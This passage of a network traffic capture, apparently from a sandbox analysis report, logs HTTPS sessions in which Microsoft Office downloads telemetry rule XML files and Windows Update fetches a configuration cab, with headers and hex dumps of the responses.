EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.9	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:10 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092010Z-1777c6cb754gc8g6hC1TEB966c00000009b000000000awxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.9	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:10 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:10 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:10 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092010Z-185f5d8b95ckwnflhC1NYCx9qs0000000a30000000007v3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:10 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.9	49822	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:10 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=362CgYExWlBUFte&MD=AZP39HGl HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 09:20:11 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: a1addccc-f029-44b0-b150-acc576048a65 MS-RequestId: 62503384-285e-4e3e-b5ee-b94d1dd3224a MS-CV: IJrgqffCQ0WdMAz9.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 09:20:10 GMT Connection: close Content-Length: 24490
2024-11-20 09:20:11 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 09:20:11 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.9	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:10 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-1777c6cb7542p5p4hC1TEBq09800000009eg000000002ryy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.9	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a800000000020v3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.9	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-185f5d8b95cp7lkfhC1NYC7rpw0000000a60000000006rg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.9	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-1777c6cb754mqztshC1TEB4mkc00000009eg0000000073pv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.9	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 072a5b9f-c01e-00a2-4bf3-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-r1d97b99577kk29chC1TEBemmg00000008r0000000006nv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.9	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-1777c6cb754xrr98hC1TEB3kag000000096000000000bav9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.9	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-185f5d8b95cdtclvhC1NYC4rmc0000000a3g00000000dpez x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.9	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:11 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:11 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:11 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092011Z-185f5d8b95c9mqtvhC1NYCghtc0000000a40000000005nz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:11 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.9	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
